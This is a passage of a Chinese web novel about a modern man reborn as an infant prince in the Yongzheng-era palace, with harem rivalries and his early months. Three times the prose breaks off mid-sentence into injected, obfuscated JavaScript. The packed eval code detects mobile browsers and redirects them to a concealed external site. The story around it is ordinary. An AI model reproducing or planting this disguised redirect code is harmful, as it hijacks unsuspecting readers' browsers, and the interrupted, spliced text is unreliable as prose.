《[清穿]好耶,可以不用努力了》 1. 第 1 章 第1章 穷冬夜长一事无,灯火相従夜深睡。 冬天天黑的极早,若是往日府中早该是一片安静,值夜的人待在自己的位置值夜,而没有排班的人便早早地爬上了床,在被窝里享受着温暖。但此时雍亲王府中的下人一个个皆屏气敛神,忙碌地穿梭在走廊之上,没有一个人敢停下来随意谈笑。 福晋御下极严,但并非是刻薄之人。往日里若是将自己分内之事干好了,悄悄摸摸休息一会儿,或是在僻静处和相熟的姐妹谈笑两句也没什么。主子并不会管这样的闲事,但今日却不同。 府中的两位格格接连有了身孕,几月前钮祜禄格格那边院子里便传来了消息生了个阿哥。府中子嗣不多,这位四阿哥正是府中第二个活着的男丁。因着这个,钮祜禄格格那边受了四爷和福晋的许多赏赐,听闻宫中的德妃娘娘也赏了东西下来。 这下府中就只有耿格格一位还怀着孕了,今晨的时候耿格格的院中传来了消息说是发动了。福晋知晓后便立刻前去坐镇,这耿格格年岁轻,又是头胎生产本就不易。 如今稳婆又出来传了消息说是耿格格胎位有些不正,怕是不好生产。如今别说是耿格格院中伺候的人了,便是边边角角的下人们也是小心翼翼的,若是在这样的当口被逮住了不好,怕是主子的怒气便能让小事变成大事了。 耿格格的泗水院中,不时就能传来女子隐忍的痛呼。但不过须臾,便有稳婆的劝诫声传来。 “格格省着些力气罢,如今开了不过七指。若是喊叫将力气用光了,等会可就没有力气将孩子生出来了。” 院中摆了一张雕刻着如意蝠纹的太师椅,上面坐着一位穿着天青色绣着平安如意纹旗装的女子。这女子模样二十七八岁,面若中秋之月,皮肤白皙,五官浓淡合宜,身量并不瘦弱,甚至称得上有些矫健。 这正是雍亲王府的女主人,雍亲王福晋乌拉那拉婧恣。 此时福晋的脸上正深深地皱着眉,银月一般的脸上带着一缕愁色。前几月钮祜禄格格平安生产的时候她便松了口气,想着好歹生下了一个阿哥,分了分东侧院那边的恩宠。 只等着耿格格产子,不论是阿哥还是格格,都能更压一压东侧院的气焰。 东侧院的侧福晋李氏原本生了府中唯一活下来的一双儿女,不论是三阿哥弘时还是二格格怀恪都极为得四爷的看重。特别是二格格,对于这唯一的女儿四爷是疼爱极了,府上但凡有了什么新奇的东西,便要先留出二格格的。 而三阿哥虽说资质有些愚鲁,但毕竟是难得的养活的阿哥。福晋知晓四爷虽说往日里责骂居多,但心里也还是对这个实际上的长子寄予厚望的。毕竟就这一个,以后必然是要袭爵的。 这么多年来府中女子要么怀不上,要么生不下来。福晋几乎要捏着鼻子认了,让自己那位老对头的孩子袭爵。年初,这两位格格怀孕的消息传来,福晋这才重新燃起了希望。 两个人,总有一个能平安生产的。 但在钮祜禄格格平安生产后,看着四爷对四阿哥的喜爱,福晋心中不由开始期待起了耿格格的孩子。是阿哥也好,是格格也罢。这两年间四爷对东侧院的宠爱本就不如从前了,又来了两个刚出生的孩子,四爷这个年纪也到了有舐犊之情的时候,这两个孩子分了四爷对弘时的注意才好呢。 至于二格格,已经定下了婚约,不出两年便要成婚了。虽说和李侧福晋不大对付,但福晋还不至于和小女孩有什么过不去的。 “福晋,李侧福晋来了。” 福晋正在沉思的时候,旁边的桂嬷嬷上前一步微微弯腰在她耳边轻声说道。 一个身着粉白缎绣三多纹裙的女子缓步走了进来,她身量纤纤,走起路来如同弱柳扶风。面容清丽,眉宇间却自带一股傲色。 “妾身参见福晋。”李侧福晋轻轻一礼,动作做起来的时候显得身上柔若无骨,更平白添了两分柔弱的娇媚。 这样不算标准的礼,福晋已经见过多次了。从前刚进门的时候,李侧福晋还是李格格,那时候她在自己面前是谨小慎微的,即便四爷一直偏宠于她,她也并不过多僭越。 是从什么时候她开始对自己轻慢起来的呢?好像是从弘晖过世了,她生了弘时,那时候弘昀还在,府中的两个阿哥都在她膝下养着,甚至弘昀那时候已经满了五岁,众人皆以为这位二阿哥是立起来了。 看着即便自己没有叫起,但李侧福晋依旧起身,福晋面上没有半分恼怒:“你来这做什么?” “妾身听闻耿妹妹从晨起便发动了,但此时都还没生下来。”李侧福晋的柳眉蹙在了一起,似乎很是担忧的样子,“便想着过来看看,妾身到底生过四个孩子了,想着或许是不是能帮上忙。” 这句话说完,李侧福晋笑了笑继续道:“毕竟爷此时不在京城,咱们姐妹之间自然是要互相照应的。” 过来帮忙?福晋在心中冷冷地想道,怕是因这泗水院被自己的人围住了,想过来瞧瞧能不能从别的地方做做手脚吧。 从四阿哥出生,四爷已经去了钮祜禄氏院中多回。这几位选秀送进来的格格从来不算得宠,一年四爷能想着去两次便不错了。如今这两三个月间,已经往钮祜禄氏的院中跑了十几回,李氏这是怕耿氏又生出了个幼子来,四爷往东侧院跑的日子便更少了。 “既然来了,便坐着等罢。”福晋轻轻一示意,旁边便有机灵的侍女端来了一张绣墩摆在了福晋后面两步的位置。 对于自己的手腕很自信,福晋根本不怕李氏在这时候耍什么手段。这位虽然面上长得聪明,但实实在在是个蠢笨的人。这么多年即便称得上四爷独宠,也没打出什么对的牌来,若非四爷就是喜欢这样的,早就被其他人的手段弄到不知道什么角落去了。 “多谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990864|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福晋。”李侧福晋的眉眼间露出一抹喜色,她在东侧院等得实在心焦,又听说了这边耿氏可能难产,便想要过来看看。 她倒也并不是多狠心的人,并不想耿氏在生孩子的时候出什么意外。不过是盼望着耿氏最好生不下来这个孩子,若是生下来了最好是个格格。 玉池院的已经生了一个阿哥,若是这泗水院的也生一个。她是三阿哥虽然已经占了长的位置,但还是不希望有太多的兄弟前来争。 李侧福晋坐下后,也安静了下来。一时之间,这院中的两位主子都安静地坐着,忙碌的下人们一个个便更小心了起来。 又过了半个时辰,李侧福晋伸出手微微打了个哈欠,眼睛氤氲出了一丝水汽。但她心里却没有半分的不耐,只盼着这生孩子的时间长些才好。 这生产的时间长了,母体便格外遭罪。特别是到了后期,这母体被折磨的都没有心力生产了便容易出事。 但就在此时,屋子里头仿佛突然热闹了起来。福晋听着里面传来的喧嚣,原本就坐得板正的身体更直了些,这样突然是声音,若非是生产了,便是…… 须臾后,屋中传来了一声婴儿的啼哭,福晋神色轻松了些。 “大喜,恭喜福晋,母子平安。”稳婆怀中抱着一个红色的绣着团寿纹的襁褓满面笑意地走了出来,“阿哥八斤三两,健壮极了。” 李侧福晋的脸一下子便拉了下来,她最讨厌的结果。不仅平安顺畅,还是个阿哥,回去定不能再依着弘时不爱念书的性子了,这如今已经有两个弟弟了,他若不出色,岂非要被两个格格的儿子比下去。 福晋脸上带着淡淡的笑意,就着稳婆的手看了看孩子。这孩子没有一般孩子生出来时的瘦弱,看着竟有些胖嘟嘟的,怪道耿氏生了这么久。 “好,通通有赏。”福晋站起身子扫视了一圈院子,“今儿泗水院伺候的人皆赏两个月月例,府中的人都赏一个月的月例。” “多谢福晋。”立刻便有下人跪下来谢恩。 福晋淡淡叫了声起,将目光落到了李侧福晋的脸上:“妹妹可是还要留在这看看耿妹妹?” “既然耿妹妹母子平安,”李侧福晋咬着牙,但脸上还是挤出了一个笑,“那妾身放心了,便先行告退。” 说罢,草草一福转身便走。 桂嬷嬷轻轻冷哼一声,很是看不惯李侧福晋这样不尊敬自家主子的模样。 福晋倒是不以为意,接着关心了两句耿格格的身子。又瞧了瞧这一看就极为健康的五阿哥,叮嘱了几句要好好照看这一大一小两位主子才离去。 从稳婆的怀中转移到奶娘怀中的周齐迷茫地眨了眨眼睛,不知道这是怎么一回事。 就算自己刚刚被车撞了,睁开眼也应该是在医院。即便太过倒霉被撞死了,那也该去孟婆的跟前喝一碗孟婆汤才对。 怎么就直接投胎了? 2. 第 2 章 第2章 刚刚睁开眼睛的时候,周齐便感受到了自己屁股上挨了一巴掌。当即便皱了皱眉,睁开眼想看看到底是谁这么无礼,随意打人就算了,还打自己的屁股。 但睁开眼后看着眼前模糊的场景,周齐眨了好几次的眼睛才意识到自己竟然看不清了!难道车祸的时候伤到了自己的视网膜不成,一直视力都是5.3的自己从未体验过这样看不清的样子。 “这小阿哥怎么不哭?”稳婆的声音有些慌乱,这好不容易平安生产出来了,若是小阿哥是个天生有些不全的,不仅拿不到赏赐说不定还会吃到挂落。 “快快,再打两巴掌。” 稳婆用力两巴掌打在了周齐的屁股上,感受着屁股上的痛感。原本就对自己眼睛看不清有些哀伤的周齐一下子就哭了出来。 这也太欺负人了!自己好好遵守交通规则,被撞了还要被欺负。 “哭了哭了,”稳婆当即大喜,“快抱出去给福晋瞧瞧。” 躺在床上的耿执羽原也担忧地看向这边,听到孩子哭声的一瞬间终于放松了心神,眼皮子沉沉的就睡了过去。生产极为消耗体力,她这整整一日的折腾早就筋疲力尽了,如今放松下来自然便撑不住了。 周齐迷茫地被抱着出去,想要伸出手动一动却感觉到自己被包在一个小被包中。听着周围人的声音,但听不懂她们的话语,只觉得茫然极了。 他不是蠢货,刚刚一时没有反应过来。可现在感受着襁褓的触感,又用尚且还看不清晰的眼睛四处看看就知道了。 这里绝对不是自己熟悉的地方,而且自己似乎变小了不少。刚刚不过伸了一下手,就被奶娘握住了,自己的手在奶娘的手中显得实在是太小了。 福晋瞧过了之后,奶娘郑嬷嬷小心翼翼将这位小阿哥接了过来。 如今四爷不在府上,小阿哥还没有名字。她们这些人都是在格格怀孕六七个月的时候都已经备齐了的,专程等着伺候这位小主子。 看着小主子红通通皱皱巴巴的脸蛋,郑嬷嬷笑了笑。这瞧着是个健壮的孩子,以后必然能健康长大的。 满族厚待乳母,只要小主子能健健康康地长大,自己一家子日后的生活便算作有了保证。况且雍亲王府的主子们宽宥,并不随意磋磨人,能被内务府派到这里来,郑嬷嬷是觉得自己撞了大运的。 小孩子的精力弱,周齐竖起耳朵听着周围人不时地说话声,发现自己真的一点也听不懂才沮丧地睡了过去。 不知道自己这算投胎还是算穿越,但天大地大都没有睡觉大。虽然不知道自己这一世的是个什么家庭,但感受着自己这温暖的襁褓,至少应该是吃穿不愁的,先睡觉吧。 ---- 好几日之后,周齐才勉强能看清楚周围的东西。这还得离得近的东西才能看见,若是离得远些的那便只能看到一团模模糊糊的色块。 同时,也认识了自己这一世的母亲。 耿执羽这是头一回当额娘,即便在月子期间,大夫和身边的嬷嬷们都嘱咐了不能多劳心神。但她还是经常让郑嬷嬷将孩子抱到跟前来,揽入自己的怀中。 “额娘的乖乖。”耿执羽抱着孩子,眉宇间满是笑意。 四爷不算多喜欢她,但雍亲王府的日子也还凑合。有了这个十月怀胎生出来的孩子,好歹这几年间自己不必担忧会无聊了。 听兮兰姐姐说,孩子生下来之后要操心的东西实在多。 周齐瞪大了眼睛看着娘亲,看到她的眉眼之后不禁感叹了一下。自己这辈子娘亲真是美呀,只要自己的爹不丑,自己以后的长相肯定不会差的。 “格格少抱会,”耿执羽的贴身丫鬟伏云进来就看到自家主子正抱着小阿哥,连忙上去将周齐接了过来,“嬷嬷们说了,若是月子坐不好,日后便免不得来些病痛。等您出了月子,小阿哥能抱好几年呢,也不急着这一个月。” 耿执羽见孩子被接过去也不恼,正准备回话就听到外面传来了请安的声音。 下一刻,四爷便从外面走了进来。 “妾身……”耿执羽吓了一跳,她并不怎么常见到这位爷。这几日四爷被派出去办差的事情是阖府都知道的事情,这并未听闻回来了呀。 “你不必起来了。”四爷的声音带了一丝笑意,“刚生了孩子,且在床上坐着便是了,将小阿哥抱来我瞧瞧。” 这回出去办差刚回来,四爷便进宫面圣去了。这两年间,汗阿玛越发不待见这些成年的皇子们,但四爷这次的差事办得不错,破天荒地不仅得了康熙的好脸色,还收了赏赐。 这一回府知道耿氏已经生产了,生了个身体康健的阿哥,便更高兴了。 他府上的孩子刚出生的时候瞧着都是小猫儿一样的,养活恪靖和弘时也不算容易。前几个月生的弘历看着也不算很康健,福晋专门提了小五身体康健,想来这个孩子多半是能养成的。 伏云连忙上前,将怀中的小阿哥抱过去给主子爷瞧瞧。 胤禛看着小脸蛋胖嘟嘟的孩子,即便被襁褓包得严严实实的,也能从脸蛋上看出这孩子的身体不错。脸蛋白皙中透着一股健康的粉色,眼睛瞪得大大的,似乎正在瞧着自己。 这还是第一次见到一个抱自己的男子,周齐在心里猜测或许这位就是自己这辈子的爹? 看着孩子直愣愣地盯着自己瞧,眼睛黑溜溜的宛如一颗晶莹剔透的黑葡萄。四爷看着不免生出几分喜爱之色,加上这小子刚出生自己就被汗阿玛赏赐,便在心中认定了这孩子是个有福气的。 “回京的路上,我便想着要给小五取个好名字。”四爷看向耿执羽语气含笑。 耿执羽不免微微直起身子,一般而言是要等孩子立住了才会取名的。府中夭折的孩子不少,听闻即便是如今府中的三阿哥弘时,也是周岁过了才取了大名。在周岁之前,一直都是没有名字的。 “爷想的,自然都是好的。”耿执羽盯着四爷一眨不眨说道,感受到自己的心正在怦怦跳。 四爷道:“昼,明也,便叫弘昼罢。” “弘昼,弘昼……”耿执羽在嘴里念叨了两次这个名字,随即脸上便绽放出了一个笑意,“真是个好名字。” 从前在家中的时候,耿执羽的阿玛不过是个管领。她们家是包衣出身,她是走了小选后被德妃娘娘赏赐过来的。家世甚至称得上有些低微,是以耿执羽在家中的时候也只认得账本上的几个字,听着四爷的话不大听得懂,不过是下意识地应和罢了。 弘昼此时还不知道自己的名字已经被定下了,他正睁着大眼睛谁说话了便转向哪边,瞧着可爱极了。 四爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990865|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只手抱着孩子,另一只手在弘昼的脸上摸了摸,轻轻揪了揪他肉嘟嘟的小脸蛋。他抱过的孩子不算少,但在这么小的时候就能有这么肉感的实在不多。 感觉到自己的脸被揪起来了,弘昼摆了摆自己的脑袋想要挣脱。虽说自己这位爹不一定是用了力气的,但自己人小皮肉嫩的,还是感觉到了一点不舒服。 四爷看不出弘昼这是不愿,只以为这是孩子想要和自己玩耍。脸上的神色更温和了些,难得的将弘昼抱在怀中好一阵子。 不过四爷刚回府,还有些事情没有处理在泗水院只待了一会儿便走了。 耿执羽等到四爷走后重新将弘昼抱回了怀中:“弘昼,咱们小五以后也是有名字的小阿哥了。既然已经有了名字,那可要好好长大。” “格格放心吧,”郑嬷嬷在旁边讨好地说道,“小阿哥健健康康的,每日里能吃能睡的,必定能好好长大的。” 耿执羽不答,只含笑看着自己怀中的孩子。 日子过得极快,因着四爷回来了,满月的时候很是大办了一场。不过这和弘昼没有什么关系,甚至和耿执羽的关系都不大。 满月的这日弘昼只需要被郑嬷嬷抱着去福晋那里待上一日,再被过来的客人瞧瞧便是了。而耿执羽这里则只能摆上两桌庆贺一下,旁的便没有了。 弘昼逐渐开始能看清楚眼前的东西,之前眼睛仿佛被蒙了一团雾的状态终于过来。他眼睛一日日变得更加清晰,也大约明白了自己这一世不在工业革命之后。 虽然还是不大听得懂周围人说话,但是看着屋子里的摆设,还有天黑了还要点着油灯的模式。还有自家娘亲被好几个人伺候着,那些不熟悉的人过来要先行礼的样子来瞧,应当是个封建时代,只是不知道是不是自己知道的历史上的朝代。 历史并不算好的弘昼明白了这个认知之后,很是蔫儿了一阵子。封建时代的生产力相对落后,也就是自己日后肯定是瞧不见现代的东西了,攒了好久的钱才舍得买的ps5刚买回来还没怎么玩过呢。 好在看着屋子里的摆设,自己这应该也是个有钱人家。这真是不幸中的万幸了,好歹不用担心基本的温饱问题。 而眼睛能看清楚之后,弘昼开始给自己定下了一个小目标,那就是学会这里的语言。 正所谓既来之则安之,已经在这里生活了一个多月,弘昼接受了以后要在这里一辈子的现实。既然如此,那学语言便是绝不可少的事情了。 自己现在还小,但以后总是要长大的。不可能一辈子不和人交流,现在趁着自己还不用说话,在听别人说话的时候自己注意着些。日后在能说话的时候便慢慢一个字一个字蹦出来,循序渐进。 也是因此,耿执羽发觉自己生的这个小孩子似乎是喜欢听人说话。 只要有人说话,便能马上看过去。一双黑溜溜的眼睛直直地盯着你,似乎能将人的心都看化了。 “兮兰姐姐,你瞧是不是?”耿执羽指着弘昼盯过来的样子,推了推一旁的女子笑道。 春日来了,天气渐暖。原本在屋子里一步也不肯出的耿执羽也带上了弘昼去串门,去的便是在这后院中和她关系最好的钮祜禄格格的玉池院中。 正好玉池院有个比弘昼大上三个月的弘历,让两个孩子一块儿玩玩也是不错的。 3. 第 3 章 第3章 看着并排放在一起的两个孩子,钮祜禄格格温和地笑了笑:“小孩子皆是这般的,有时候我与身旁的嬷嬷们讲话,弘历也是不错眼地盯着瞧着。” 钮祜禄格格是镶白旗,年纪到了便参加了选秀。因着阿玛的官职不高,钮祜禄格格本身模样也不算很出众,便以为到时候是要被撂了牌子自行聘嫁的,最后没想到被送进了雍亲王府。 因着性子还算相投,和耿格格的关系不错。在一起被诊出喜脉之后,关系又更近了一步。毕竟若是和其余没有孩子的格格聊孩子,难免有炫耀之嫌,便只能她们俩自己聚起来聊聊了。 “弘历虽说只大了弘昼三个月,但这瞧着大了整整一圈呢。”耿执羽撑着自己的下颚,兴致勃勃看着两个孩子,“原先弘历生下来的时候姐姐你还怕他体弱,如今瞧瞧,脸都养出肉来了。” 钮祜禄格格笑了笑,说起这个她一肚子的话:“我这是听了身边嬷嬷们的话,听闻有些人家之中若生了个瞧着孱弱些的孩子,便去挨家挨户地讨一块布料。这众家的布料一起缝制一块百纳布,平日里来给小孩子裹着便容易养活些。” “还有这样的说法。”耿执羽惊讶,“那瞧着还是有些用的。” 弘昼除了在认真听额娘还有这位不认识的姨姨讲话外,不时抬了抬自己的手臂,企图这样锻炼一下自己的手臂力量。抬了一会儿又觉得无聊,便努力开始想要翻身。 先是全身使劲让自己的身子勉强翻过来一点,但还是翻不过去。终于,身子翻过去后,弘昼觉得自己的后背都湿润了,这一通的努力让自己流了不少的汗水。 “啊啊~呀呀~”在弘昼旁边躺着的弘历有些不安分地动来动去的,他有些好奇地看着眼前这个似乎和自己一样大小的孩子正在旁边折腾着。 伸出了小手拉了拉弘昼的衣裳,见他竟然不理自己,弘历的眉头就皱成了一团。之前不论自己什么反应,身旁的人总是会立刻给过来反馈。 毕竟要大了三个月,弘昼现在翻身都很是费劲儿,但弘历已经能自如地翻来翻去了,甚至有时候早晨起来的时候会自己无聊地翻来覆去的。当即便往弘昼的身边挪了挪,趁着弘昼趴在床上喘气的时候,伸出了自己的小手。 “啊——啊啊——” 弘昼正趴在床榻上喘气,想着等自己休息一会儿再把自己翻过来。甚至还联想到了乌龟,只觉得自己现在翻身比乌龟还要困难些。 但下一刻,便感觉到自己的耳朵被什么东西揪住了。而且不仅揪住了,还在揪住了之后往另外的地方扯,这一下子弘昼立刻便放声大叫了起来。 当婴儿的这两三个月中,弘昼清晰地明白了一点。一旦自己有什么不舒服的地方一定要马上叫出来,这样便会有人前来检查。其实最好是哭的,但弘昼毕竟不是真正的小孩子,一般都先是干嚎,若干嚎解决不了问题了便开始哭。 “哈哈……嘿嘿……”弘历听见原本不理会自己的小娃子叫了出来,以为他在和自己玩,当即便笑了出来。 正在聊天的耿执羽和钮祜禄格格也被这一嗓子吸引了注意力,看过去之后便哭笑不得。 “你这孩子,”钮祜禄格格走上前,轻柔地将弘历的手松开,拍了一下,“怎么能欺负弟弟呢?弟弟年纪这么小,揪着耳朵多疼啊。” 耿执羽检查了一下弘昼的耳朵,笑道:“小孩子原也没多大的力气,不过是闹着玩罢了。” 弘昼被额娘翻了过来,他脑袋往弘历那边看了看,瞧见了刚才弄自己耳朵的罪魁祸首。当即便凶神恶煞地朝着他叫了一声,虽然如今人小,但却也不是好欺负的。 或许是因为困在这小小的身子里,弘昼有时候都会觉得自己有些想法也变得幼稚了些。比如现在徒劳地朝着那边的小屁孩吼叫,似乎这样就能找回场子一样。 但在弘历的眼中这就不是什么恐吓,而是示好。这个弟弟终于理自己了,肯定是自己刚刚和他玩才让他这样的。 当即便咿咿呀呀地回应了过去,一时之间,虽然目的不同,但瞧着真是两个小孩子在互相用婴语聊天的样子。 耿执羽和钮祜禄格格看得好笑,尤其是耿执羽笑得弯了眼睫:“兮兰姐姐,看来要常常将这两个皮猴子放在一起玩才好呢。弘昼往日里在我那里,可没有今日的活泼。” 往日里弘昼是绝对不肯随意张口婴语的,耿执羽甚至猜测过可能自己儿子就是不喜说话的那一类人。可如今瞧着,原来是没有同龄人的缘故吗? “我看也可,正好这冬日也过去了,春日里正适合出门呢。过几日,咱们一起带着孩子去后花园瞧瞧那些花去。”钮祜禄格格的眼中也含了笑,伸出手点了点自己怀中弘历的鼻子,“弘历今儿也格外活泼些呢。” 弘历被额娘拍了一下手,又点了一下鼻子有些不高兴了。张着嘴啊啊呀呀地叫了几句,但在场的人都听不懂他这个小婴儿的婴语。 在玉池院待了许久,直到太阳西斜耿执羽才带着孩子回自己的院子。 深宅大院的女子没有什么事情做,便只能自己来找些消遣。耿执羽在小选之前,在家中是要帮衬着额娘做些小活计的,也有时间去和街坊邻居的小女孩儿一块玩儿。毕竟他们家不是什么高门大户,家中虽然也养了两个仆从,但很多活计都是要自己来的。 少年时期太过于自由,导致耿执羽在最初入了雍亲王府的时候很是不适应。府中女子即便同为爷的侍妾,也有好几位都是京中官员之女。 王府的规矩多,耿执羽初入府邸的时候学了不少的东西。可时间久了之后,她便只觉得这日子寂寥又悠长。看书识字她不会,女红针织她也不喜欢,每日里只能待在院中看着天亮天黑。 直到和兮兰姐姐熟识起来后,耿执羽才找回了些从前少年时期趁着额娘来不及看顾自己出去找别的小女孩玩的时光。兮兰姐姐虽然话不如自己多,但自己一直和她聊得来。 即便现在生了孩子,耿执羽也不想和姐姐疏远。毕竟按照三阿哥的例子来看,孩子也就在自己这里养到四五岁便要送进前院给爷教导了。刚巧她们俩生的都是男孩子,等孩子送走了还不是要她们姐妹俩自己相伴。 趁着春日里阳光好的时候,耿执羽带着弘昼和钮祜禄格格带着弘历便出去踏青了。她们是雍亲王府的格格,不能随意出门,府中的后花园便是个踏青的好去处了。 大多数时候都被闷在屋中的弘昼看着这些花花草草,眼睛都亮了。鼻子中闻到的是清香馥郁的花草香气,和香炉中的熏香大不相同,有一种偏近自然的味道。 被伏云抱着,弘昼忍不住去够枝头上的花朵。那是一株桃花,粉粉嫩嫩地俏立枝头,花朵并不算大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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弘历却是完全听不懂大人之间的谈话的,只是在被奶嬷嬷抱着离弘昼近些后笑嘻嘻说道:“低低……发发……” 弘昼不明白这个小孩子是想要做什么,只是无辜地看了过去,回了两声啊啊的婴语。 而在这时候,弘历却立刻将弘昼的手抓住了。在所有人都没反应过来的时候直接塞进了嘴里,啃了起来。 弘历的牙齿不过刚刚冒出了两颗小尖尖,弘昼被他啃着倒是也不疼。只是怀疑地看向了自己的手臂,即便自己是瞧着要比他胖了点,可这个手怎么瞧着也不像猪蹄吧。最主要的是,这么点小孩子应该也没有尝过猪蹄的味道吧。 “哎呀。”郑嬷嬷发现自家小主子被四阿哥咬住之后惊叫了一声,马上便往两位格格的方向看过去。 弘历的嬷嬷则赶紧将怀中的这个小祖宗抱远些,若是两位格格瞧见了可就不好了。 将自己的手挥了挥,弘昼确定自己的手上除了四哥的口水之外应该是一点痕迹都没有留下的。不过看着自己就啃,这是长牙了想要磨牙吗? “两位姐姐真是好兴致呢,带着两位小阿哥来后花园中游玩吗?” 一道声音从不远处传来,一位身着天青色绣梨花的女子款款走来,还未走到近处便开口说了话。 听到这声音,耿执羽原本的笑容一下子就淡了下来。 “原来是武妹妹,”钮祜禄格格脸上神情不变,客气道,“妹妹今日也是来后花园中赏花的?” 4. 第 4 章 第4章 在这雍亲王府后院中,耿执羽最不喜欢的便是这位武格格了。 这位武格格是和钮祜禄格格一起大选进宫,被德妃看重赐给四爷的。耿执羽刚入府的时候不懂规矩,吃了些暗亏。 而这些暗亏一半都是来自这位武格格,不知道这位是什么想法,明明这后院中大家相安无事过下去便罢了。但她偏偏最喜欢惹是生非,惹不起宠爱在身又有儿有女的李侧福晋,但对其余的格格就没有那么客气了。 武格格似乎没有察觉到耿执羽对她的不喜,目光放到了两个奶嬷嬷抱着的孩子身上。 “往日里想着过去瞧瞧两位小阿哥,但又担心姐姐们没有空闲来待客。”武格格上前两步走到了弘昼身边,“这必就是五阿哥了,瞧瞧这小脸胖嘟嘟的,怪道上回还听福晋说过五阿哥生下来就比旁的孩子要结实呢。” 郑嬷嬷并不清楚主子们之间的恩怨,见到武格格凑近了下意识往耿执羽那边瞅了一眼。见自家主子满脸不悦的样子,便会意地往后一退。 武格格的身上带着浓重的熏香,耿执羽的屋中甚少焚香,弘昼这猛然闻到只觉得鼻子难受,接连打了两个喷嚏。 “啊切——” 耿执羽双眉一竖:“郑嬷嬷将小五抱过来,真是对不住啊武妹妹,我家小五闻不惯你身上的香味。” 武格格脸上的笑意一僵,讪讪说道:“也怪我,熏香了不该凑近小阿哥的。” 这话耿执羽不搭茬,让原本就有些尴尬的武格格脸上逐渐开始浮现起恼怒。 “那两位姐姐便带着两个阿哥赏花罢,我且失陪了。” 丢下了这一句话之后,武格格便带着自己的贴身侍女转身离去。直到离开了后花园,武格格脸上原本强撑出来的笑才落了下去,整个人散发着恼怒。 “该死的耿氏,这般不给我面子。”武格格愤愤地低声道,“不过刚生了一个阿哥,还不知道能不能养活着,就这般张狂了。真该死,明明爷来我这里的次数比她要多,怎么她反倒是怀上了。怀上了便罢了,竟然能生下来。” 雍亲王府的两位主子都看不得后宅的阴私,四爷和福晋联手之下,让这些格格们不敢使什么腌臜的手段。从前查出了一个程格格,便是用了些腌臜的手段,现在关在别院中人影儿都瞧不到了。 武格格自觉比之钮祜禄氏和耿氏,她是更得宠些的。四爷最爱去的是李侧福晋那里,但其次便应当是她这里了。她总以为自己会是除李侧福晋外,最先生下孩子的格格。 按照四爷的性子,只要生下孩子,不论是男还是女。日后便不用愁了,四爷绝不会苛待小主子的生母。 “格格息怒。”武格格旁边的侍女说道,“咱们往日里和钮祜禄格格没什么交际,但和耿格格是实打实地不对付的。如今形势反转,格格还是要忍耐才是啊。” “我方才笑脸相迎,你看她把我放在眼里了吗?”武格格不满道,“不过是想问问她手上有什么坐胎药罢了。” 侍女又劝了两句,武格格才脸上和煦了点:“罢了罢了,大不了这几回我便去主动贴一贴她。下回给福晋请安的时候主动些,想来耿氏那个脑子是很好笼络的。” 被认为很好笼络的耿执羽在看到讨厌的人走后,拉着钮祜禄格格赏了一会儿的花,感受到起风了才带着孩子回了自己的院子。 通过这一个月的观察,弘昼大概知道自己这一世是个富贵人家,但不知道是单纯的有钱,还是官宦人家。而且根据见到那个便宜爹的次数来推测一下,娘亲应该不是很受宠。不然不会自己都已经四个月大了,也不过见过那便宜爹五六次。 其实因为外头忙,回府的时候孩子基本都已经睡了的四爷:…… 听闻古代若是孩子有出息,母亲便能过得更好。弘昼在心里暗自下定了决心,自己一定不会成为额娘拖后腿的那个。不说以后让额娘因为自己与有荣焉,起码不要让额娘因为自己被别人嘲笑。 夏日里,天亮得极早。七月的京城暑气从地底一直往上冒,若是往年里,耿执羽早早地就该用上冰盆了,毕竟福晋在待遇这方面从不苛待后院。但今年不同,弘昼出生不过七八个月,顾忌着小孩子,耿执羽便不令屋中摆放冰盆,只在夜晚她的内室里摆上。 弘昼也脱离了厚厚的襁褓,穿上了夏日里的单衣。耿执羽的女工算不得好,但还是坚持给儿子做了一套,其余的便交给府中的绣娘来缝制了。 天气热,弘昼也不喜欢被抱着了。清晨起床过后,喝了一碗羊奶便被带到了额娘这里,放在了铺了湘妃竹席的榻上。 被放下后弘昼便自己趴在了竹席上,企图在竹子上汲取一丝凉意。感觉到这一块被自己趴热了,便翻了个身在另一片稍微凉快些的地方躺着。在有空调的后世待习惯了,现在感受着京城中夏日无处不在的热气,弘昼只觉得自己提不起一点精神。 此时额娘正在用膳,若是春日里弘昼还会有心情瞧瞧额娘吃了些什么。在自己的心中想象那是个什么味道,并期待着等自己长大后便能跟着额娘一起用膳的日子。但现在弘昼看着即便夏日里,桌子上依旧摆着不少荤腥的菜色,只觉得不仅提不起胃口,还感受到了腻味。 耿执羽用过膳后走过来瞧着,见郑嬷嬷一直给弘晸打着扇子他还是提不起精神不禁蹙眉:“这都好几日了,弘昼还是这般提不起精神。” “毕竟是夏日,瞧着小阿哥像是不耐热。”伏云的眉间也有点忧心。 这泗水院中就两位主子要伺候,小阿哥更是重中之重。若是能好好长大,自家格格的后半辈子便算有依靠了,说不得以后王爷去世了小阿哥能自己开府将格格接出去享清福呢。 